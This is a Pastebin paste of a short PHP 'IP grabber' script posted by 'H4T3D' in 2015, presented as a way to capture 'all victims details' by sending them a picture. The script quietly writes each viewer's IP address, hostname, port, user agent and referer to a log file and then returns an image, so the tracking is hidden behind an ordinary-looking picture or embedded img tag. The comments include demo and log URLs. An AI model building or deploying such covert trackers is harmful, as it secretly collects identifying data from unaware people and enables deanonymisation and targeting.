Advertisement
H4T3D

Save Ip + All Victims Details By sending him a Picture

Sep 7th, 2015
495
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.28 KB | None | 0 0
  1. <?php
  2.  
  3. #############################################
  4. #Save Ip + All Victims Details By sending him a Picture :)
  5. #You can also add it in your website by <img src="http://openfbdns.webuda.com/etc.php">
  6. #Coded By H4T3D
  7. #Demo : http://openfbdns.webuda.com/etc.php
  8. #Ips : http://openfbdns.webuda.com/log.txt
  9. ##############################################
  10.  
  11.  
  12.  
  13.  
  14. //IP Grabber
  15.  
  16. //Variables
  17.  
  18. $protocol = $_SERVER['SERVER_PROTOCOL'];
  19. $ip = $_SERVER['REMOTE_ADDR'];
  20. $port = $_SERVER['REMOTE_PORT'];
  21. $agent = $_SERVER['HTTP_USER_AGENT'];
  22. $ref = $_SERVER['HTTP_REFERER'];
  23. $hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
  24.  
  25. //Print IP, Hostname, Port Number, User Agent and Referer To Log.TXT
  26.  
  27. $fh = fopen('log.txt', 'a');
  28. fwrite($fh, 'IP Address: '."".$ip ."\n");
  29. fwrite($fh, 'Hostname: '."".$hostname ."\n");
  30. fwrite($fh, 'Port Number: '."".$port ."\n");
  31. fwrite($fh, 'User Agent: '."".$agent ."\n");
  32. fwrite($fh, 'HTTP Referer: '."".$ref ."\n\n");
  33. fclose($fh);
  34.  
  35.  
  36. //Change Image >>https://www.wordans.co.nz/wvc-1334345743/wordansfiles/images/2012/4/13/137566/137566_340.jpg
  37.  
  38. $im = imagecreatefromjpeg('https://www.wordans.co.nz/wvc-1334345743/wordansfiles/images/2012/4/13/137566/137566_340.jpg');
  39.  
  40. header('Content-type: image/jpg');
  41. imagepng($im);
  42. imagedestroy($im);
  43.  
  44.  
  45.  
  46.  
  47. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement